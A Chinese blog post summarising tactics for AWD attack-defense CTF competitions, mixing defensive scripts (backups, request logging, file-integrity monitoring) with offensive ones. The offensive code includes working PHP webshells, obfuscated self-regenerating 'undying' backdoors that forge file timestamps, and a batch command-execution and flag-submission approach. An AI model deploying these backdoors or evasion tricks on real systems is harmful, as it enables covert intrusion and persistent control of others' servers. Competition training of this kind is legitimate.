前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >awd比赛总结

awd比赛总结

作者头像
故里[TRUE]
发布于 2023-04-19 11:48:02
发布于 2023-04-19 11:48:02
2.2K00
代码可运行
举报
运行总次数:0
代码可运行

awd比赛总结记录一下,方便以后回顾使用

​ awd线上训练参加了很多,对awd也有一定的理解了,比靶场更仿真,更像渗透,同时难度更是上升了很多,在训练的同时也在网上看了很多关于awd的相关知识。

​ 首先awd是需要队友之前配合才能取得更高的分数,刚开始一人去负责页面挖洞,另外一个是将源码down下来,还有一个队友负责把批量getshell和批量提交flag的模板写好。

准备阶段

比赛的相关工具当然少不了

  • D盾(down下来的源码直接扫后门)
  • WireShark(分析流量包)
  • 攻击框架例如:Attack-Defense-Framework
  • burpsuite(搭配其中的工具Reissue Request Scripter,可以根据抓到的请求包直接生成请求脚本)
  • 御剑或者dirsearch(用来扫网页的后台目录)
  • nmap或者httpscan(用来扫描网段,得到对手机的ip)
  • 服务器管理软件,termius或者winscp等

脚本也少不了,尤其是不死马脚本(加密shell防止被别人直接使用)和流量监控脚本,waf的话也得备一下,除此之外还有很多命令,如果记不住那就记录一下,想不出来命令更尴尬。

比赛过程

​ 首先就是备份,非常重要,不仅仅代码审计更是为了防止被被人删掉源码导致服务器宕机,总之开始比赛先备份,没毛病。

​ 站点源码可以用winscp进行备份到本地,但是速度会很慢,速度快的方法就是直接用tar打包,放在home目录,最好不要放在tmp目录,因为这个目录没有配置权限,如果在比赛过程中我们拿到了别人的shell,可以去tmp目录看看,说不定有惊喜。

​ tar备份的方法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd /var/www/html
tar -zcvf ~/html.tar.gz *

还原方法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/html

或者

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd /var/www/html
rm -rf *
tar -zxvf ~/html.tar.gz

上面这是站点源码,除此之外还有数据库备份,有的时候数据库里面还有flag,首先找到配置文件,找找账号密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd /var/www/html
find .|xargs grep "password"

备份

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ cd /var/lib/mysql #(进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
$ mysqldump -u root -p Test > Test.sql # 输入密码即可。
$ mysqldump -u root -p --all-databases > ~/backup.sql  # 备份所有数据库
$ mysqldump -u root -p --all-databases -skip-lock-tables > ~/backup.sql  # 跳过锁定的数据库表

还原

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ mysql -u root -p
mysql> create database [database_name];  # 输入要还原的数据库名
mysql> use [database_name]
mysql> source backup.sql;    # source后跟备份的文件名

还原也可以这样

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ cd /var/lib/mysql # (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
$ mysql -u root -p Test < Test.sql  # 输入密码即可(将要恢复的数据库文件放到服务器的某个目录下,并进入这个目录执行以上命令)。

备份之后还需要口令修改,ssh,cms,数据库root都需要修改

数据库口令修改,数据库密码修改

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ mysql -u root -p
show databases;
use mysql
set password for root@localhost = password('123');
或者
update user set password = PASSWORD('需要更换的密码') where user='root';
flush privileges;
show tables;   # 看看有没有flag

ssh口令修改,登录ssh之后

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
passwd[用户]

之后再上传流量监控脚本,它可以让你知道对手是如何攻击你的,你就可以用攻击你的方法攻击其他人

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$ip = $_SERVER["REMOTE_ADDR"];      //记录访问者的ip
$filename = $_SERVER['PHP_SELF'];       //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"];      //访问者要请求的参数
$method = $_SERVER['REQUEST_METHOD'];       //请求方法
$uri = $_SERVER['REQUEST_URI'];             //请求URI
$time = date('Y-m-d H:i:s',time());     //访问时间
$post = file_get_contents("php://input",'r');       //接收POST数据
$others = '...其他你想得到的信息...';
$logadd = 'Visit Time:'.$time.' '.'Visit IP:'.$ip."\r\n".'RequestURI:'.$uri.' '.$parameter.'RequestMethod:'.$method."\r\n";
// log记录
$fh = fopen("/tmp/log.txt", "a+");
fwrite($fh, $logadd);
fwrite($fh, print_r($_COOKIE, true)."\r\n");
fwrite($fh, $post."\r\n");
fwrite($fh, $others."\r\n");
fclose($fh);
?>

这种脚本一般放置在CMS的入口文件处,下面几个常见CMS的入口地址,在这些入口的文件里使用require_once()就可以将监控脚本包含进去,达到流量监控的目的:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php

还有文件监控,文件监控就是将任何没有免死金牌的上传文件全部拦截,上传一个我就自动给你删掉,或者将其中的文件内容直接全部修改掉,这种脚本说实话也是比较危险,看实际情况而定吧,下面就是一个文件监控脚本:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'diaossama'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
    return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())

一般比赛都会有预留后门,所以可以把自己down下的源码放到d盾里面扫一下,看看有哪些后门,及时删除并试试可以利用预留后门打一下别人

除此之外还有不死马,这个可以权限持续维持,每局都可以得分

一句话木马那方法就很多了,在这就不列举了。还有md5马

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
echo 'hello';
if(md5($_POST['pass'])=='042766b4e0c02419a448f2e8ec68d9bc'){
   @eval($_POST['cmd']);
}
?>

不死马也有很多种,但是为了不让别人直使用所以都进行了一定的加密,一种是不断复制自身达到不死,一种是复制多个马到不同目录相互守护,此外有区块链马,不知道是个啥

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
    set_time_limit(0);
    ignore_user_abort(true);
    $file = '.demo.php';
    $shell = "<?php $_hR=chr(99).chr(104).chr(114);$_cC=$_hR(101).$_hR(118).$_hR(97).$_hR(108).$_hR(40).$_hR(36).$_hR(95).$_hR(80).$_hR(79).$_hR(83).$_hR(84).$_hR(91).$_hR(49).$_hR(93).$_hR(41).$_hR(59);$_fF=$_hR(99).$_hR(114).$_hR(101).$_hR(97).$_hR(116).$_hR(101).$_hR(95).$_hR(102).$_hR(117).$_hR(110).$_hR(99).$_hR(116).$_hR(105).$_hR(111).$_hR(110);$_=$_fF("",$_cC);@$_();?>";
    //$_hR='chr'
    //$_cC='eval($_POST[1]);'
    //$_fF='create_function'
    while(true){
        file_put_contents($file, $shell);
        system('chmod 777 .demo.php');
        touch(".demo.php", mktime(11,11,11,11,11,2018));
        usleep(50);
        }
?>

这个demo就是会一直生成.demo.php的一句话木马,可以跟MD5马结合一下。

下面说一下如何杀不死马,结合上面demo.php不死马来说一下咋杀

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
while (1) {
 $pid=1234;
 @unlink('.demo.php');
 exec('kill -9 $pid');
}
?>

先用ps命令查看进程的pid,再修改一下上面的脚本执行即可

或者可以用ps aux命令来查看每个用户执行的命令和运行的进程

除此之外还有一个杀不死马的方法,写一个脚本不断生成那个不死马的同名文件,使那个不死马无法在该目录下创建文件,然后再找到那个不断创建不死马的进程将其杀死。 比赛中如果抓不到有用的流量,日志分析也是很有用的,分析服务器的访问日志也可以发现一些信息,下面罗列了一些服务器的日志路径

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
apache: /var/log/apache2/access.log
nginx: /var/log/nginx/

自动化后台执行

​ 有时候我们需要在服务器上后台执行一些脚本,这里就需要使用到nohup命令和linux shell中的&命令,nohup可以让命令不挂断地执行,&则可以让命令在后台运行,比如说现在我要在后台执行我的check脚本,我就可以这样写:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nohup python -u ./check.py > log.out &    # 这里-u是禁用缓存,使输出直接进入log.out
# 如果需要运行shell脚本并且需要获得错误信息的话
nohup ./run.sh > log.out 2>&1 &
# 如果不需要记录日志
nohup ./run.sh > /dev/null &Copy

查看它是否在后台执行可以使用jobs命令,输入jobs就可以看到后台运行了什么

最后

批量提交flag

再贴一下非常有用的脚本如果我们不能在对方服务器上种马,只能通过漏洞直接获取flag,那么我们可以通过上一步的自动化脚本在每一轮更新获取到的flag值将其写入文件,然后在本机用脚本批量交

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/usr/bin/env python2
#coding=utf-8
import sys
import json
import urllib
import httplib
server_host = ''    #提交flag的服务器地址
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
    if not team_token or not flag:
        raise Exception('team token or flag wrong')
    conn = httplib.HTTPConnection(host, port, timeout=timeout)
    params = urllib.urlencode({        #提交需要post的参数,根据情况修改
        'token': team_token,    
        'flag': flag,
    })
    headers = {
        "Content-type": "application/x-www-form-urlencode"
    }
    conn.request('POST', '[submit_flag_dir]', params, headers)    #第二个参数为提交flag的目录
    response = conn.getresponse()
    data = response.read()
    return json.loads(data)

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'usage: ./submitflag.py [team_token] [flag]'
        sys.exit()
    host = server_host
    if len(sys.argv) > 3:
        host = sys.argv[3]
#!/usr/bin/env python2
#coding=utf-8
import sys
import json
import urllib
import httplib
server_host = ''    #提交flag的服务器地址
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
    if not team_token or not flag:
        raise Exception('team token or flag wrong')
    conn = httplib.HTTPConnection(host, port, timeout=timeout)
    params = urllib.urlencode({        #提交需要post的参数,根据情况修改
        'token': team_token,    
        'flag': flag,
    })
    headers = {
        "Content-type": "application/x-www-form-urlencode"
    }
    conn.request('POST', '[submit_flag_dir]', params, headers)    #第二个参数为提交flag的目录
    response = conn.getresponse()
    data = response.read()
    return json.loads(data)

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'usage: ./submitflag.py [team_token] [flag]'
        sys.exit()
    host = server_host
    if len(sys.argv) > 3:
        host = sys.argv[3]
    print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

根据题目灵活修改

不死马理解

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
    ignore_user_abort(true);//设置与客户机断开是否会终止脚本的执行,这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
    set_time_limit(0);//设置脚本最大执行时间,这里设置为0,即没有时间方面的限制
    unlink(__FILE__);//删除文件本身,以起到隐蔽自身的作用
    $file = '.busi.php';
    $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .3.php');
        usleep(0);
    }//while循环中每隔usleep(0)即写新的后门文件,system命令用于修改文件的创建时间或修改时间,因为在AWD比赛中有的队伍使用
?>

就拿上面这个不死马来介绍一下,该不死马不断生成.busi.php,通过访问http://localhost/.busi.php?pass=pass ,这个pass内容是md5加密之后的结果,目的是为了防止别人直接使用,MD5理论上不可逆,然后POST a=system(“想要执行的系统命令”);即可通过不死马实现命令执行。如果使用python批量getshell的话大体思路就是

url=http://localhost/.busi.php?pass=pass data={“a”:”system(“cat /flag”);”} flag=requests.post(url=url,data=data).text然后url变变就可以,一般会维护一个地址池 从地址池里面取url或者取特征(可能某个url字段不一样)直接打就行,再配合提交flag的api就可以实现自动getflag。

​ 检查十分钟内被修改过的php文件,所以我们修改文件日期稍微进行掩饰。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
find *.php -mmin -10

在进行杀不死马的时候需要将usleep的值小于不死马的值,让杀马的速度比下马的速度快。

杀死不死马的几种方法

shell脚本直接删除不死马

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
while :
do
   rm -rf .busi.php;
   echo "remove success";
done

一个循环语句,应该都能看懂,就是让他循环删马

PHP服务重启

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
service apache2 restart
service php restart

这个方法在awd应该不能=使用,因为awd给的权限是不够的

杀低权限PHP进程

php-apache

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
system("kill `ps -ef | grep httpd | grep -v grep | awk '{print $2}'`");

php-fpm

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
system("kill `ps -ef | grep php-fpm | grep -v grep | awk '{print $2}'`");
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-05-152,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
MySQL OCP试题解析(4)
今天继续本系列的第四篇,由于内容比较简单,就直接开放,后续的篇幅中会每篇解析5题来加快学习速度。旨在通过练习OCP试题学习相关知识点。
俊才
2025/05/10
760
MySQL OCP试题解析(4)
MySQL OCP试题解析(7)
错误。--only-known-file-types 不限制表空间的存储方式,而是限制文件类型。
俊才
2025/05/21
870
MySQL OCP试题解析(7)
MySQL 5.7多源复制配置详解
MySQL 5.7发布后,在复制方面有了很大的改进和提升。比如开始支持多源复制(multi-source)以及真正的支持多线程复制了。多源复制可以使用基于二进制日子的复制或者基于事务的复制。下面我们说一说如何配置基于二进制日志的多源复制。
星哥玩云
2022/08/17
1.2K0
MySQL 5.7多源复制配置详解
【MySQL拾遗】mysql主从复制以及扩展
一、MySQL简单复制相关概念: mysql复制的意义:Mysql复制是使得mysql完成高性能应用的前提 mysql复制的机制: SLAVE端线程: IO thread: 向主服务请求二进制日志中的事件 当读取完毕后,IO线程将进行睡眠,当主服务器有新数据时,则主服务器唤醒从服务器的IO线程 SQL thread:从中继日志读取事件并在本地执行, 如果二进制日志开启式,同样会记录二进制日志,但为了节约空间和提高性能,需要关闭从服务器不能执行写操作,如果执行写操作则和主服务器不同步。 MASTER端
小小科
2018/05/04
7650
一文搞懂MySQL主从复制方案、读写分离及高可用
随着数据量的增大,读写并发的增加,系统可用性要求的提升,单机 MySQL 出现危机:
JavaEdge
2021/02/03
1.3K0
一文搞懂MySQL主从复制方案、读写分离及高可用
大厂都在用的MySQL主从复制、读写分离及高可用方案
随着数据量的增大,读写并发的增加,系统可用性要求的提升,单机 MySQL 出现危机:
JavaEdge
2021/02/20
8.3K0
MySQL高可用方案
第一种:主从复制+读写分离 客户端通过Master对数据库进行写操作,slave端进行读操作,并可进行备份。Master出现问题后,可以手动将应用切换到slave端。 对于数据实时性要求不是特
用户1263954
2018/01/30
2K0
MySQL高可用方案
MySQL OCP试题解析(8)
错误。冷备份需要数据库完全停止服务,而此命令使用了 --single-transaction,通过事务快照实现热备份(Hot Backup),允许数据库在备份过程中继续处理读写操作。
俊才
2025/05/23
200
MySQL OCP试题解析(8)
MySQL组复制(MGR)全解析 Part 2 常用复制技术介绍
MySQL也提供了一个半同步复制,即同步复制,其要求主库在commit时等待从库接受 完事务并返回确认信息后才能提交
bsbforever
2020/08/18
7660
MySQL组复制(MGR)全解析  Part 2 常用复制技术介绍
MySQL复制的概述、安装、故障、技巧、工具
同MongoDB,Redis这样的NoSQL数据库的复制相比,MySQL复制显得相当复杂!
LA0WAN9
2021/12/14
4460
MySQL复制的概述、安装、故障、技巧、工具
零停机迁移 Postgres的正确方式
在这篇博文中,我们会介绍如何在零停机时间的前提下,使用 Bucardo 将 Postgres 数据库迁移到一个新实例上。我们将介绍如何避免常见的陷阱,比如数据丢失、性能下降和数据完整性故障等。我们已成功使用这一流程将我们的 Postgres 数据库从 9.5 版迁移到 Amazon RDS 上的 12.5 版,但该流程不只适用于 RDS,也不依赖 AWS 独有的任何内容。这种迁移策略应该能适用于任何自托管或托管的 Postgres。
深度学习与Python
2021/07/12
1.5K0
MySQL主从复制架构及原理
一、简介 在实际生产中,数据的重要性不言而喻,因此考虑到数据的重要性比如单点故障导致后端数据库奔溃,或者后端数据库访问压力过大等,mysql数据库做主从非常有必要,减轻后端数据库压力,主服务器负责读写
小小科
2018/05/04
9370
MySQL主从复制架构及原理
MySQL 5.7 多主一从的复制结构
多源复制的作用 MySQL 5.7.6 开始,添加了一个新特性:多源复制 Multi-Source Replication 可以让你同时从多个master中并行复制,也就是形成了一种新的主从复制结构 一从多主 图 以前都是一主多从的结构,想实现一从多主的复制需要自己想办法,现在好了,直接支持了 多源复制的应用场景示例: 比如我们分库后有多台数据库服务器,后台统计系统需要对数据进行汇总,就可以使用多源复制实现汇总功能 比如我们有多个项目,分为了多台数据库服务器,想使用主从复制进行数据备份,就可以使用多源复制,
dys
2018/04/04
1.8K0
什么是mysql innodb cluster?
MySQL InnoDB集群提供了一个集成的,本地的,HA解决方案。MySQL InnoDB集群由以下几部分组成:
陈不成i
2021/06/15
1.3K0
MySQL OCP试题解析(6)
题目意思是:在innodb_fast_shutdown=0的情况下进行了干净的关闭,然后不小心删除了数据目录中的所有文件。问必须从备份中恢复哪两个文件才能让数据库干净地重启
俊才
2025/05/19
680
MySQL OCP试题解析(6)
MySQL复制全解析 Part 8 MySQL Auto-Positioning
如果使用基于GTID的MySQL同步我们不需要在change master中使用MASTER_LOG_FILE 和MASTER_LOG_POS 参数,而是使用MASTER_AUTO_POSITION 选项,该选项默认是禁用的
bsbforever
2020/08/19
6390
MySQL复制全解析 Part 8 MySQL Auto-Positioning
6种MySQL高可用解决方案对比
👆点击“博文视点Broadview”,获取更多书讯 高可用是数据库永恒的话题,高可用方案也是最受数据库爱好者关注的重点技术之一。 在MySQL二十多年的发展历程中,针对MySQL的高可用方案百花齐放,各具特色,这也是这款开源数据库最能让人着迷的地方。例如,早些年著名的MMM、MHA等等。 随着MySQL官方的不断发力,在基于MySQL复制的基础上,推出了一系列的高可用方案,例如,主从半同步复制、InnoDB ReplicaSet、组复制(MGR)、InnoDB Cluster,及目前最新的InnoDB
博文视点Broadview
2022/09/28
7.7K0
6种MySQL高可用解决方案对比
浅析开源数据库MySQL架构
数据库是所有应用系统的核心,故保证数据库稳定、高效、安全地运行是所有企业日常工作的重中之重。数据库系统一旦出现问题无法提供服务,有可能导致整个系统都无法继续工作。所以,一个成功的数据库架构在高可用设计方面也是需要充分考虑的。下面就为大家介绍一下如何构建一个高可用的MySQL数据库系统。 做过DBA或者是运维的同学都应该知道,任何设备或服务,存在单点就会带来巨大风险,因为这台物理机一旦宕机或服务模块crash,若在短时间内无法找到替换的设备,势必会影响整个应用系统。因而如何保证不出现单点就是我们的重要工作,使
个推君
2018/03/21
1.9K0
浅析开源数据库MySQL架构
高可用系统建设的一些思考
在参与公司几个多数据中心项目的容灾架构设计后,积累了一些高可用和多数据中心容灾的一些思考,总结和分享出来希望一起和大家学习。
机械视角
2022/05/18
8270
MySQL高可用九种方案
MySQL 高可用方案之 MMM(Multi-Master Replication Manager)是一种常用的解决方案,用于实现 MySQL 数据库的高可用性和负载均衡。
程序员朱永胜
2023/09/13
2.5K0
MySQL高可用九种方案
相关推荐
MySQL OCP试题解析(4)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档